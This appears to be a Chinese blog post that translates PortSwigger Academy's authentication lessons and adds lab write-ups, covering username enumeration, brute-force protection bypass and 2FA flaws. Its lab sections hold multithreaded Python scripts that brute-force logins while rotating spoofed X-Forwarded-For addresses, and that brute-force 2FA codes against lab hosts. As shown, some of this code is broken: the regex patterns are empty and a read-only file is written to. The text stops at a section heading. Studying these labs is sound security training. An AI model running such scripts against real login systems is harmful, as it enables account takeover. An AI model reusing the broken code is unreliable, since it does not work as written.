PortSwigger Academy | Authentication : 身份认证

文章目录

  • 1 什么是身份验证?
    • 1.1 身份验证和授权有什么区别?
  • 2 身份验证漏洞是如何产生的?
  • 3 易受攻击的身份验证有何影响?
  • 4 身份验证机制中的漏洞 ↓
    • 4.1 第三方身份验证机制中的漏洞
    • 4.2 防止对您自己的身份验证机制的攻击 ↓
  • 1 基于密码的登录中的漏洞
    • 1.1 暴力破解
      • 1.1.1 暴力破解用户名
      • 1.1.2 暴力破解密码
    • 1.2 用户名枚举
      • Lab: Username enumeration via different responses
      • Lab: Username enumeration via subtly different responses
      • Lab: Username enumeration via response timing
    • 1.3 有缺陷的暴力破解保护
      • Lab: Broken brute-force protection, IP block
      • 1.3.1 账户锁定
      • Lab: Username enumeration via account lock
      • 1.3.2 用户速率限制
      • Lab: Broken brute-force protection, multiple credentials per request
    • 1.4 HTTP基本认证
  • 2 多因素身份验证中的漏洞
    • 2.1 两因素身份验证令牌
    • 2.2 绕过两因素验证
      • Lab: 2FA simple bypass
    • 2.3 有缺陷的两因素验证逻辑
      • Lab: 2FA broken logic
    • 2.4 暴力破解2FA验证码
      • Lab: 2FA bypass using a brute-force attack
  • 3 其他身份验证机制中的漏洞
    • 3.1 保持用户登录
      • Lab: Brute-forcing a stay-logged-in cookie
      • Lab: Offline password cracking
  • 4 重置用户密码
    • 4.1 通过电子邮件发送密码
    • 4.2 使用URL重置密码
      • Lab: Password reset broken logic
      • Lab: Password reset poisoning via middleware
    • 4.3 修改用户密码
      • Lab: Password brute-force via password change
  • 1 如何保护身份验证机制
    • 1.1 注意用户凭据
    • 1.2 不要指望用户来保证安全
    • 1.3 防止用户名枚举
    • 1.4 实施强大的暴力破解保护
    • 1.5 反复检查验证逻辑
    • 1.6 别忘了补充功能
    • 1.7 实施适当的多因素身份验证

PortSwigger Academy | Authentication : 身份认证_第1张图片

在本节中,我们将介绍一些网站使用的最常见的身份验证机制,并讨论其中的潜在漏洞。我们将重点介绍不同身份验证机制中的固有漏洞,以及由于身份验证的不恰当实现而引入的一些典型漏洞。最后,我们将提供一些基本指导,说明如何确保您自己的身份验证机制尽可能地健壮。

一如既往,我们创建了一些交互式实验室供您练习利用这些漏洞。如果您已经熟悉这个主题,您可以直接进入实验室来测试您的技能。

1 什么是身份验证?

身份验证是验证给定用户或客户端身份的过程。换言之,它涉及到确保他们真的是他们声称的那个人。至少在某种程度上,网站是暴露给任何连接到互联网上的人的。因此,健壮的身份验证机制是有效web安全的一个重要方面。

有三种身份验证因素可将不同类型的身份验证分为:

  • 你知道的东西,如密码或安全问题的答案。这些有时被称为“知识因素”。

  • 你拥有的东西,也就是一个物理物体,比如手机或安全令牌。这些有时被称为“占有因素”。

  • 你正在做或正在做的事情,例如,你的生物特征或行为模式。这些有时被称为“内在因素”。

身份验证机制依赖于一系列技术来验证这些因素中的一个或多个。

1.1 身份验证和授权有什么区别?

身份验证是验证用户是否真的是他们声称的用户的过程,而授权涉及验证是否允许用户做某事

在网站或web应用程序的上下文中,身份验证确定试图使用用户名Carlos123访问网站的人是否真的是创建帐户的同一个人。

一旦Carlos123通过身份验证,他的权限就决定了他是否有权访问其他用户的个人信息或执行删除其他用户帐户等操作。

2 身份验证漏洞是如何产生的?

从广义上讲,身份验证机制中的大多数漏洞都以以下两种方式之一出现:

  • 认证机制很弱,因为它们无法充分防止暴力攻击。

  • 实现中的逻辑缺陷或糟糕的编码允许攻击者完全绕过身份验证机制。这有时被称为“身份验证中断”。

在web开发的许多领域,逻辑缺陷只会导致网站出现意外行为,这可能是安全问题,也可能不是。然而,由于身份验证对安全性如此关键,有缺陷的身份验证逻辑使网站暴露于安全问题的可能性明显增加。

3 易受攻击的身份验证有何影响?

身份验证漏洞的影响可能非常严重。一旦攻击者绕过身份验证或强行闯入另一个用户的帐户,他们就可以访问受损帐户拥有的所有数据和功能。如果他们能够破坏高特权帐户(如系统管理员),他们就可以完全控制整个应用程序,并有可能获得对内部基础设施的访问权。

即使泄露低特权帐户,攻击者仍然可以访问他们本不应该拥有的数据,如商业敏感业务信息。即使该帐户无法访问任何敏感数据,它也可能允许攻击者访问其他页面,从而提供进一步的攻击面。通常,某些高严重性攻击不可能从公开访问的页面进行,但它们可能从内部页面进行。

4 身份验证机制中的漏洞 ↓

网站的身份验证系统通常由几个不同的机制组成,在这些机制中可能会出现漏洞。一些漏洞广泛适用于所有这些上下文,而另一些则更特定于所提供的功能。
我们将更仔细地研究以下领域中一些最常见的漏洞:

  • 基于密码的登录实验室中的漏洞
  • 多因素身份验证实验室中的漏洞
  • 其他身份验证机制中的漏洞

请注意,有几个实验室要求您枚举用户名和暴力口令。为了帮助您完成这个过程,我们提供了一个候选用户名和密码的短名单,您应该使用这些用户名和密码来解决实验室的问题。

4.1 第三方身份验证机制中的漏洞

如果您喜欢破解身份验证机制,那么在完成我们的主要身份验证实验室之后,更高级的用户可能希望尝试和解决我们的开发认证 2.0身份验证实验室。(以后再看)

4.2 防止对您自己的身份验证机制的攻击 ↓

我们已经演示了几种方法,在这些方法中,网站可能会由于如何实现身份验证而受到攻击。为了降低对您自己的网站进行此类攻击的风险,您应该始终遵循以下几个一般原则。


接上文: 身份验证机制中的漏洞 ↑

1 基于密码的登录中的漏洞

Vulnerabilities in password-based login
在本节中,我们将更仔细地研究一些基于密码的登录机制中最常见的漏洞。我们还将提出一些可能被利用的方法。甚至还有一些交互式实验室,您可以自己尝试利用这些漏洞。

对于采用基于密码的登录过程的网站,用户可以自己注册帐户,也可以由管理员为其分配帐户。此帐户与一个唯一的用户名和一个秘密密码相关联,用户在登录表单中输入该用户名和密码以进行身份验证。

在这种情况下,他们知道秘密密码这一事实就足以证明用户的身份。因此,如果攻击者能够获取或猜测其他用户的登录凭据,则网站的安全性将受到损害。

这可以通过多种方式实现,我们将在下面探讨。

1.1 暴力破解

暴力破解是指攻击者使用试错系统试图猜测有效的用户凭据。这些攻击通常是使用用户名和密码的单词列表自动进行的。自动化此过程,特别是使用专用工具,可能会使攻击者以高速进行大量登录尝试。

暴力破解并不总是完全随机猜测用户名和密码。通过使用基本逻辑或公开的知识,攻击者可以对暴力攻击进行微调,从而做出更有根据的猜测。这大大提高了此类攻击的效率。依赖基于密码的登录作为唯一身份验证用户方法的网站,如果没有实施足够的暴力保护,可能会非常容易受到攻击。

1.1.1 暴力破解用户名

如果用户名符合可识别的模式(例如电子邮件地址),那么就特别容易猜测。例如,以这种格式查看业务登录是非常常见的名字。姓氏 @somecompany.com网站. 然而,即使没有明显的模式,有时甚至使用可预测的用户名(如adminadministrator)创建高特权帐户。

在审计过程中,检查网站是否公开披露潜在用户名。例如,您是否能够在不登录的情况下访问用户配置文件?即使配置文件的实际内容是隐藏的,配置文件中使用的名称有时与登录用户名相同。您还应该检查HTTP响应以查看是否有任何电子邮件地址被泄露。有时,回复会包含高权限用户(如管理员和IT支持人员)的电子邮件地址。

1.1.2 暴力破解密码

类似地,密码也可以被暴力破解,其难度根据密码的强度而有所不同。许多网站采用某种形式的密码策略,强制用户创建高熵密码,至少理论上,仅使用暴力破解更难。这通常涉及强制使用以下密码:

  • 最少字符数
  • 大写字母和小写字母的混合体
  • 至少一个特殊字符

然而,虽然高熵密码很难单独被计算机破解,但我们可以利用人类行为的基本知识来利用用户无意中引入到这个系统中的漏洞。用户通常会选择一个他们能记住的密码,并试图拓展它以适应密码策略,而不是创建一个随机字符组合的强密码。例如,如果不允许mypassword,用户可以尝试Mypassword1之类的东西!或者改为Myp4$$w0rd

在策略要求用户定期更改密码的情况下,用户通常只对首选密码进行微小的、可预测的更改。例如,Mypassword1!变成Mypassword1?或者Mypassword2!

这种对可能的凭证和可预测模式的了解意味着暴力攻击通常比简单地遍历每个可能的字符组合更复杂,因此更有效。

1.2 用户名枚举

用户名枚举是指攻击者能够观察网站行为的变化,以确定给定用户名是否有效。

用户名枚举通常发生在登录页上,例如,当你输入一个有效的用户名但密码不正确,或在注册表单上当你输入一个用户名显示已经被占用。这大大减少了强制登录所需的时间和精力,因为攻击者能够快速生成有效用户名的短名单。

在尝试强制登录页面时,应特别注意以下方面的任何差异:

  • 状态码:在暴力攻击期间,返回的HTTP状态码对于绝大多数猜测可能是相同的,因为大多数猜测都是错误的。如果guess返回不同的状态码,则强烈表示用户名是正确的。无论结果如何,网站总是返回相同的状态码是最佳做法,但并不总是遵循这种做法。

  • 错误消息:有时返回的错误消息会有所不同,这取决于用户名和密码是否都不正确,或者只有密码不正确。最好的做法是网站在这两种情况下都使用相同的通用消息,但有时会出现一些小的键入错误。只要一个字符不在适当的位置,就可以使两条消息区别开来,即使在呈现的页面上该字符不可见的情况下也是如此。

  • 响应时间:如果大多数请求都是以类似的响应时间处理的,那么任何与此不同的请求都表明在幕后发生了一些不同的事情。这是猜测的用户名可能是正确的另一个迹象。例如,网站可能只会在用户名有效的情况下检查密码是否正确。这个额外的步骤可能会导致响应时间稍微增加。这可能很微妙,但攻击者可以通过输入过长的密码使延迟变得更明显,而网站需要更长的时间来处理该密码。

Lab: Username enumeration via different responses

不验证csrf,没啥好说的先爆破用户名,再爆破密码
PortSwigger Academy | Authentication : 身份认证_第2张图片

Lab: Username enumeration via subtly different responses

通过对比返回包上微小的差异,可能是人为的,可能是失误吧。
PortSwigger Academy | Authentication : 身份认证_第3张图片
用户名知道了,再爆破密码即可

Lab: Username enumeration via response timing

这一关对中国用户来说太痛苦了,网络波动太大了,根本区分不了
没办法,只能笛卡尔积+递增ip来进行爆破了,但是burp好像没法实现,额,只能自己写了
格式可能不太对,记得调一下

# python3.9
import requests
import re
import time
import threading
import queue


class TimeOutLib:
    url = ''
    # 使用线程安全的队列
    queue_data = queue.Queue(maxsize=0)  # 先进先出队列,这里就设置无限大好了
    queue_print = queue.Queue(maxsize=0)  # 先进先出队列,这里就设置无限大好了
    lib_session = ''
    csrf_token = ''
    thread_num = 50  # 想改线程数量的话改这里
    # money_num = 100
    # headers = {}
    # gift_cards_code_list = []
    # can_buy_gift_card_num = 0

    def __init__(self, url_):
        self.url = url_

    def start(self):
        print('start:')
        print("step 1 : response timing brute force going...")
        # 这里实现多线程和笛卡尔积(username x passwd)和ip增长和爆破  唉,四个功能 先写出来看看,要不要分函数吧
        # 设想一下,先建一个队列,队列是一个list包括[{ip,username,password}],反正笛卡尔积后也就1万个,就直接计算出来好了,方便一点
        # 因为输出的时候,线程会进行抢占,所以输出也要一个队列
        # 生成list
        # self.queue_data.put({'ip': '127.1.1.1', 'username': 'wiener', 'passwd': 'peter'})  # 测试数据
        self.create_brute_force_data()
        # 先获取session和csrf token
        self.get_session_and_csrf_token()
        # 先模拟一次登陆,然后尝试多线程
        # self.login_to_lib()
        # 尝试多线程
        thread_list = []
        for _ in range(self.thread_num):
            # thread = threading.Thread(target=self.login_to_lib())
            # thread = threading.Thread(target=self.login_to_lib)
            # 一步之差天壤之别,好好看看上面这俩代码有啥区别,一个是创建直接执行, 一个是创建 坑死我了,好好的多线程被我写成了单线程。
            thread = threading.Thread(target=self.login_to_lib)
            thread_list.append(thread)
        for t in thread_list:
            t.start()
        # 打印队列长度
        print("计算剩下的队列长度")
        while True:
            i = self.queue_data.qsize()
            print(i, end=" ")
            if i == 0:
                break
            time.sleep(10)

    def login_to_lib(self):  # 这个实验不需要CSRF和会话绑定,谁说的? 需要绑定,只是csrf用一次不会过期罢了
        login_url = self.url + 'login'  # 拼接登录用url
        # 进行登陆
        while True:
            # print("?")
            current_data = self.queue_data.get()
            headers = {"X-Forwarded-For": current_data['ip'], 'Cookie': 'session=' + self.lib_session}
            data = {"csrf": self.csrf_token, "username": current_data['username'], "password": current_data['passwd']}
            # 下面这句话要做错误处理
            try:
                # r_post_login_page = requests.post(login_url, headers=headers, allow_redirects=False, data=data,
                #                                 timeout=60, proxies={"https": "https://127.0.0.1:8080"}, verify=False)
                r_post_login_page = requests.post(login_url, headers=headers, allow_redirects=False, data=data,
                                                  timeout=60)
                # 匹配返回的session
                if r_post_login_page.status_code == 302:
                    print("\n get login session :", r_post_login_page.headers['Set-Cookie'])
                    with open("1.txt") as file:
                        file.write(r_post_login_page.headers['Set-Cookie'])
            except:
                # 要是发生了错误,写到队列里去,然后线程重新去试
                self.queue_data.put(current_data)

    def get_session_and_csrf_token(self):
        login_url = self.url + 'login'  # 拼接登录用url
        # 请求登陆页面获取session 和 csrf token
        # r_get_login_page = requests.get(login_url, proxies={"https": "http://127.0.0.1:8080"}, verify=False)
        r_get_login_page = requests.get(login_url)
        # 匹配csrf token
        r_body = r_get_login_page.text
        self.csrf_token = re.search(r'', r_body).group(1)
        # 匹配session
        self.lib_session = re.search(r'session=(.*); Path=/; Secure; HttpOnly; SameSite=None',
                                     r_get_login_page.headers['Set-Cookie']).group(1)
        print("get csrf token and session:", self.csrf_token, self.lib_session)

    def create_brute_force_data(self):
        # 先生成1万个{'ip': '127.0.x.x'}
        data_list = []
        i = 0
        for ip_3 in range(255):
            for ip_4 in range(1, 255):
                data = {"ip": "127.0.%s.%s" % (ip_3, ip_4)}
                data_list.append(data)
                i += 1
                if i >= 10000:
                    break
            if i >= 10000:
                break
        # 再把笛卡尔积加进去 {'ip': '127.0.39.94', 'username': 'autodiscover', 'passwd': 'moscow'}
        file_username_ = open(r"F:\weakpass_dict\burp-lab-username.txt")  # 不要忘了关文件,虽然对这个小程序没多大影响
        file_passwd_ = open(r"F:\weakpass_dict\burp-lab-passwd.txt")
        file_username = file_username_.readlines()
        file_passwd = file_passwd_.readlines()
        num = 0
        for i in file_username:
            i = i.replace('\n', '')
            for j in file_passwd:
                j = j.replace('\n', '')
                data = {"username": i, "passwd": j}
                data_list[num].update(data)
                num += 1
        file_username_.close()
        file_passwd_.close()
        # print(data_list)
        for i in data_list:
            self.queue_data.put(i)


if __name__ == "__main__":
    # 不能允许超时,未响应必须重试,还需要多线程
    # 必须一次成功,不能出错,一万个payload
    # 就算网络出问题,也是脚本的锅
    print("usage: 你需要把你的lib地址直接复制到代码里(带上最后的反斜杠) --> url")
    lib_url = 'https://ac7a1fd31ed37bf0804e4e1e00b40009.web-security-academy.net/'
    lib = TimeOutLib(lib_url)
    time1 = time.time()
    lib.start()
    time2 = time.time()
    print('time used ', int(time2-time1), 's')

哈哈拿到sessionid了
PortSwigger Academy | Authentication : 身份认证_第4张图片
替换一下即可
PortSwigger Academy | Authentication : 身份认证_第5张图片

1.3 有缺陷的暴力破解保护

Flawed brute-force protection

在攻击者成功破坏帐户之前,蛮力攻击很可能会涉及许多失败的猜测。从逻辑上讲,暴力破解保护的核心是尽量使自动处理过程变得复杂,并降低攻击者尝试登录的速度。防止暴力破解的两种最常见的方法是:如果远程用户多次尝试登录失败,则锁定其试图访问的帐户;如果远程用户连续多次尝试登录,则阻止其IP地址

Lab: Broken brute-force protection, IP block

在Burp运行的情况下,调查登录页面。 如果您连续提交3个错误的登录,请观察您的IP被阻止。 但是,您可以通过在达到限制之前登录自己的帐户来重置计数器
再爆破中交替使用正确用户名密码来进行IP封禁干扰

PortSwigger Academy | Authentication : 身份认证_第6张图片
因为网络问题,还是把线程调到1为好,要不然大概率出错
PortSwigger Academy | Authentication : 身份认证_第7张图片
PortSwigger Academy | Authentication : 身份认证_第8张图片

1.3.1 账户锁定

网站防止暴力破解的一种方法是在满足某些可疑条件(通常是登录失败次数)时锁定账户。与正常的登录错误一样,来自服务器的指示帐户被锁定的响应也可以帮助攻击者枚举用户名。

Lab: Username enumeration via account lock

把字典直接复制粘贴5次,没必要同一个用户名要挨着

PortSwigger Academy | Authentication : 身份认证_第9张图片
当然使用笛卡尔积爆破也是可以的

在运行Burp的情况下,调查登录页面并提交无效的用户名和密码。 将POST / login请求发送到Burp Intruder。
选择攻击类型“集群炸弹”。 将有效负载位置添加到username参数。 在请求的末尾添加一个任意的附加参数,并向其添加第二个有效负载位置。 例如:
username =§无效用户名§&password = example&count =§0§。
在“有效载荷”选项卡上,将用户名列表添加到第一个有效载荷集,并将数字1-5作为第二个有效载荷集。 这将导致用户名重复5次。 开始攻击。
PortSwigger Academy | Authentication : 身份认证_第10张图片

好吧,这是关于账户锁定部分的:

将密码列表添加到有效负载集中,并为错误消息创建grep提取规则。 开始攻击。
在结果中,查看grep提取列。 请注意,有几个不同的错误消息,但是其中一个响应不包含任何错误消息。 记下该密码。
在浏览器中,请等待一分钟以重置帐户锁定,然后使用您标识的凭据登录。

PortSwigger Academy | Authentication : 身份认证_第11张图片
锁定账户可以提供一定的保护,防止针对特定账户的暴力攻击。然而,这种方法不能充分防止暴力破解攻击,在这种攻击中,攻击者只是试图获得他们所能获得的任何随机帐户的访问权。

例如,下面的方法可能用来绕过这种保护

  • 建立一个用户名字典(最好是能收集到系统中存在的用户名)
  • 建立一个小字典(如果网站5次尝试就锁定账户,那么就设置4个最可能的密码)
  • 然后爆破

或者撞库:帐户锁定也无法防止凭证填充攻击。这涉及到使用一个庞大的用户名密码对字典,由在数据泄露中窃取的真实登录凭证组成。凭证填塞依赖于这样一个事实,即许多人在多个网站上重复使用相同的用户名和密码,因此,字典中的一些被破坏的凭证有可能在目标网站上也是有效的。帐户锁定不能防止凭证堆积,因为每个用户名只被尝试一次。凭证填充物尤其如此

1.3.2 用户速率限制

网站尝试防止暴力攻击的另一种方法是通过限制用户速率。 在这种情况下,在短时间内发出太多登录请求会导致您的IP地址被阻止。 通常,只能以下列方式之一解除对​​IP的限制:

  • 一段时间后自动解禁

  • 由管理员解禁

  • 填写验证码后解禁

有时最好使用用户速率限制而不是帐户锁定,因为它不太容易出现用户名枚举和拒绝服务攻击。 但是,用户速率限制仍然不是完全安全。 正如我们在较早的实验室中看到的一个示例一样,攻击者可以通过多种方式操纵其表观IP来绕过该块。

由于限制是基于从用户IP地址发送的HTTP请求的速率,因此,如果您可以确定如何通过单个请求猜测多个密码,有时也可以绕过此防御。

单个请求猜测多个密码??????

Lab: Broken brute-force protection, multiple credentials per request

import json


a = {"csrf": "ICe83RrXQgGdvOtylT4xJZYKh1vc0mfa", "username": "carlos", "password": "admin"}

list_passwd = []

with open(r"F:\weakpass_dict\burp-lab-passwd.txt") as file:
    file_lines = file.readlines()

    for i in file_lines:
        list_passwd.append(i.replace("\n", ""))

passwd = {"password": list_passwd}

a.update(passwd)

print(json.dumps(a))

在浏览器打开即可
PortSwigger Academy | Authentication : 身份认证_第12张图片

1.4 HTTP基本认证

尽管它已经相当老了,但是它相对简单和易于实现,这意味着您有时可能会看到正在使用HTTP基本认证。 在HTTP基本身份验证中,客户端从服务器接收身份验证令牌,该身份验证令牌是通过串联用户名和密码并在Base64中对其进行编码而构造的。 该令牌由浏览器存储和管理,浏览器自动将其添加到每个后续请求的Authorization标头中,如下所示:

Authorization: Basic base64(username:password)

由于多种原因,通常不将其视为安全的身份验证方法。 首先,它涉及在每个请求中重复发送用户的登录凭据。 除非该网站还实施HSTS,否则用户凭据很容易在中间人攻击中被捕获。

另外,HTTP基本身份验证的实现通常不支持暴力保护。 由于令牌仅由静态值组成,因此可能容易受到暴力攻击。

HTTP基本身份验证也特别容易受到与会话相关的攻击的影响,尤其是CSRF,它无法单独提供保护。

在某些情况下,利用易受攻击的HTTP基本身份验证可能只会授予攻击者访问看似无趣的页面的权限。 但是,除了提供进一步的攻击面外,以这种方式公开的凭据可能会在其他更机密的上下文中重用。


接上文: 身份验证机制中的漏洞 ↓

2 多因素身份验证中的漏洞

在本节中,我们将研究多因素身份验证机制中可能发生的一些漏洞。我们还提供了几个交互式实验室,以演示如何利用多因素身份验证中的这些漏洞。

许多网站仅依靠使用密码的单因素身份验证来验证用户。但是,有些要求用户使用多个身份验证因素来证明其身份。

对于大多数网站来说,验证生物特征因素是不切实际的。但是,越来越多的情况是基于已知和已有的知识同时进行强制性和可选的双重身份验证(2FA)。这通常要求用户从其拥有的外部物理设备中输入传统密码和临时验证码。

尽管有时攻击者可能获得单个基于知识的因素(例如密码),但是从外部源同时获得另一个因素的可能性却大大降低。由于这个原因,两要素认证显然比单要素认证更安全。但是,与任何安全措施一样,他只是安全防护的方式之一。就像单因素身份验证一样,糟糕的两因素身份验证可以被击败,甚至被完全绕开。

还值得注意的是,只有通过验证多个不同因素才能实现多因素身份验证的全部好处。以两种不同方式验证同一因素不是真正的两因素身份验证(比如输入两个密码)。基于电子邮件的2FA就是这样一个例子。尽管用户必须提供密码和验证码,但是访问代码仅取决于他们知道其电子邮件帐户的登录凭据。因此,知识认证因素只需进行两次验证。

2.1 两因素身份验证令牌

验证码通常由用户从某种物理设备中读取。 现在,许多高安全性网站为用户提供了专用的设备,例如RSA令牌或小键盘设备,您可以使用该设备访问在线银行或工作笔记本电脑。 除了专用于安全性之外,这些专用设备还具有直接生成验证码的优势。 出于相同的原因,网站通常会使用专用的移动应用(例如Google Authenticator)。

另一方面,某些网站将验证码作为文本消息发送到用户的手机。 尽管从技术上讲这仍在验证“您拥有的东西”的因素,但它很容易受到滥用。 首先,代码是通过SMS传输的,而不是由设备本身生成的。 这可能会导致代码被拦截。 还存在SIM共享的风险,从而使攻击者欺诈地获得带有受害者电话号码的SIM卡。 然后,攻击者将收到发送给受害者的所有SMS消息,包括包含其验证码的SMS消息。

2.2 绕过两因素验证

有时,两因素身份验证的实现存在缺陷,可以完全绕开它。

如果首先提示用户输入密码,然后提示用户在单独的页面上输入验证码,则在用户输入验证码之前,用户实际上处于“登录”状态。 在这种情况下,值得测试一下,看看您是否可以在完成第一个身份验证步骤后直接跳到“仅登录”页面。 有时,您会发现网站实际上并没有在加载页面之前检查您是否完成了第二步。

Lab: 2FA simple bypass

见:https://blog.csdn.net/qq_42942594/article/details/108800122#t16

2.3 有缺陷的两因素验证逻辑

有时,两因素身份验证中的逻辑有缺陷,这意味着用户完成初始登录步骤后,网站无法充分验证同一用户是否已完成第二步。

例如,在第一步中,用户使用其常规凭据登录,如下所示:

POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty

然后,将为他们分配与他们的帐户相关的cookie,然后将其转到登录过程的第二步:

HTTP/1.1 200 OK
Set-Cookie: account=carlos

GET /login-steps/second HTTP/1.1
Cookie: account=carlos

提交验证码时,请求使用此cookie来确定用户尝试访问的帐户:

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456

在这种情况下,攻击者可以使用自己的凭据登录,然后在提交验证码时将帐户cookie的值更改为任意用户名。

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user  # 关键点就是这,如果这里是加密的就好了
...
verification-code=123456

如果攻击者随后能够爆破使用验证码,因为这将使他们完全基于用户名登录任意用户的帐户,那么这将非常危险。 他们甚至不需要知道用户的密码。

Lab: 2FA broken logic

见:https://blog.csdn.net/qq_42942594/article/details/108800122#t4

2.4 暴力破解2FA验证码

与使用密码一样,网站需要采取措施来防止2FA验证码的暴力破解。 这一点特别重要,因为该代码通常是一个简单的4或6位数字。 如果没有足够的暴力保护,破解这样的代码是微不足道的。

一些网站尝试通过输入一定数量的错误验证码自动注销用户来防止此情况。 这在实践中是无效的,因为高级攻击者甚至可以通过为Burp Intruder创建宏来自动执行此多步骤过程。 Turbo Intruder扩展程序也可以用于此目的。

Lab: 2FA bypass using a brute-force attack

先来练习一下宏的使用,(每次输入验证码都要登陆一次),每爆破一次就用宏来完成登陆,session应该是会自动同步的吧
具体怎么配置宏看这个https://blog.csdn.net/qq_42942594/article/details/108800122#t21
这次配置比较简单,只要把图中的三个请求加到宏里就行了,然后爆破验证码即可
PortSwigger Academy | Authentication : 身份认证_第13张图片
但是吧,一次只能爆破一个验证码,1万个验证码加上宏需要4万个请求,但是考虑到我们这网速。。。。。。我觉得可能要一天

要不尝试一下 Turbo Intruder
???我要严格控制发包顺序还要获取响应内容,Turbo Intruder好像做不了这些啊???能吗???不行吧??

还是自己用多线程吧,但是会不会发送这种事:10个线程准备提交code,但这时第十一个线程提交code失败,导致前10个线程的session失效…简单验证了一下,好像不会。

# python3.9
import threading
import queue
import requests
import re
import time


class MfaCodeBrute(threading.Thread):
    url = 'https://ac8f1ffc1e0f7464804b14600027002a.web-security-academy.net/'  # 带上最后的 /
    lib_session = ''
    csrf_token = ''
    username = 'carlos'
    password = 'montoya'
    headers = {}
    queue_data = queue.Queue(maxsize=0)

    def __init__(self, _queue_data):
        super(MfaCodeBrute, self).__init__()
        self.queue_data = _queue_data

    def run(self):
        while True:
            self.brute()

    def brute(self):
        try:
            # 第一步 获取登陆页面数据
            login_url = self.url + 'login'  # 拼接登录用url
            r_get_login_page = requests.get(login_url)  # 发起get请求获取登录页面的csrf token和session
            r_body = r_get_login_page.text  # 匹配csrf token 和 session
            self.csrf_token = re.search(r'', r_body).group(1)
            self.lib_session = re.search(r'session=(.*); Path=/; Secure; HttpOnly; SameSite=None',
                                         r_get_login_page.headers['Set-Cookie']).group(1)
            # 第二步 登录到lib 获取登录后的session
            self.headers = {'Cookie': 'session=' + self.lib_session}
            data = {'csrf': self.csrf_token, 'username': self.username, 'password': self.password}
            r_post_login_page = requests.post(login_url, headers=self.headers, allow_redirects=False, data=data)
            self.lib_session = re.search(r'session=(.*); Path=/; Secure; HttpOnly; SameSite=None',
                                         r_post_login_page.headers['Set-Cookie']).group(1)  # 匹配返回的session
            self.headers = {'Cookie': 'session=' + self.lib_session}  # 更新session
            # 第三步 请求验证码页面
            code_url = self.url + 'login2'  # 拼接爆破验证码的url
            r_get_login_page = requests.get(code_url, headers=self.headers)  # 发起get请求获取提交验证码页面的csrf token
            r_body = r_get_login_page.text  # 匹配csrf token
            self.csrf_token = re.search(r'', r_body).group(1)
            # 第四步 爆破验证码
            brute_url = code_url
            current_code = self.queue_data.get()
            data = {'csrf': self.csrf_token, 'mfa-code': current_code}
            try:
                r_post_login_page = requests.post(brute_url, headers=self.headers, allow_redirects=False, data=data)
                if r_post_login_page.status_code == 302:
                    print('\n', r_post_login_page.headers['Set-Cookie'])
            except:
                self.queue_data.put(current_code)
        except:
            pass


if __name__ == '__main__':
    # 队列在这里创建
    queue_data = queue.Queue(maxsize=0)  # 无限大
    for i in range(10000):
        queue_data.put(str('%04d' % i))

    num = 50  # 这里是线程数 可以继续往大了调 只要你网速好
    thread_mfa_code_brute_list = []
    for i in range(num):
        thread_mfa_code_brute_list.append(MfaCodeBrute(queue_data))

    for i in thread_mfa_code_brute_list:
        i.start()
        pass

    # time1 = time.time()  # 开始时间
    i_start = 10000  # 开始时是有10000个code
    while True:
        time.sleep(10)
        i_now_num = queue_data.qsize()  # 看看还剩多少个
        i_10s_used = i_start - i_now_num  # 这个是10s 完成的  就不统计平均了,这垃圾程序用不到(我不会)
        how_time = ((10 / i_10s_used) * i_now_num) / 60
        i_start = i_now_num
        print(i_now_num, ' ', (1 - (i_now_num/10000)) * 100, '%', ' 预计用时(m)', how_time, sep='')

        if i_now_num == 0:
            exit(0)



一般10分钟就搞定了,code不会太大,代码没有输出code,直接用session登陆即可


接上文: 身份验证机制中的漏洞 ↓

3 其他身份验证机制中的漏洞

在本节中,我们将研究与身份验证相关的一些补充功能,并演示它们如何容易受到攻击。 我们还创建了几个交互式实验室,可用于将您学到的知识付诸实践。

除了基本的登录功能外,大多数网站还提供补充功能,以允许用户管理其帐户。 例如,用户通常可以在忘记密码时更改密码或重置密码。 这些机制还可能引入攻击者可以利用的漏洞。

网站通常会注意避免在其登录页面中出现众所周知的漏洞。 但是很容易忽略这一事实,您需要采取类似的步骤来确保相关功能同样强大。 在攻击者能够创建自己的帐户并因此可以轻松访问这些附加页面的情况下,这一点尤其重要。

3.1 保持用户登录

一个共同的功能是即使关闭浏览器会话后仍保持登录状态的选项。 这通常是一个简单的复选框,标记为“记住我”或“保持我登录状态”。

通常通过生成某种“记住我”令牌来实现此功能,然后将其存储在持久性cookie中。 由于拥有此cookie有效地使您可以绕过整个登录过程,因此最好的做法是——猜测此cookie是不切实际的。 但是,某些网站会根据可预测的静态值(例如用户名和时间戳)将其生成。 有些甚至使用密码作为cookie的一部分。 如果攻击者能够创建自己的帐户,因为这种方法可以研究自己的cookie并可能推断其生成方式,则此方法特别危险。 一旦制定出公式,他们便可以尝试强行使用其他用户的Cookie来访问其帐户。

一些网站认为,如果cookie以某种方式进行了加密,即使它使用静态值也将不可猜测。 如果正确完成,这可能是正确的,但使用简单的双向编码(如Base64)天真地“加密” cookie根本没有提供任何保护。 即使使用带有单向哈希函数的适当加密也不是完全安全的。 如果攻击者能够轻松地识别哈希算法,并且不使用任何盐,则他们可能仅通过哈希其单词列表就可以对Cookie进行暴力破解。 如果未对Cookie猜测应用类似的限制,则可以使用此方法绕过登录尝试的限制。

Lab: Brute-forcing a stay-logged-in cookie

爆破时payload如此配置即可
PortSwigger Academy | Authentication : 身份认证_第14张图片
即使攻击者无法创建自己的帐户,他们仍可能能够利用此漏洞。 使用XSS之类的常规技术,攻击者可以窃取另一个用户的“记住我” cookie,并推断出如何从中构造cookie。 如果网站是使用开源框架构建的,则cookie构造的关键细节甚至可以公开记录。

在极少数情况下,即使从哈希表中获取了哈希值,也有可能以明文形式从cookie获取用户的实际密码。 众所周知的密码列表的散列版本可在线获得,因此,如果用户的密码出现在这些列表之一中,则解密散列有时可能只是将散列粘贴到搜索引擎中一样简单。 这证明了盐在有效加密中的重要性。

Lab: Offline password cracking


利用xss来获取目标cookie ,解密得到密码

PortSwigger Academy | Authentication : 身份认证_第15张图片

4 重置用户密码

实际上,有些用户会忘记他们的密码,因此通常有一种让他们重置密码的方法。 由于在这种情况下,通常无法使用基于密码的身份验证,因此网站必须依靠替代​​方法来确保真实用户正在重置自己的密码。 因此,密码重置功能具有内在的危险性,需要安全地实施。

通常有几种不同的方法可以实现此功能,并具有不同程度的漏洞。

4.1 通过电子邮件发送密码

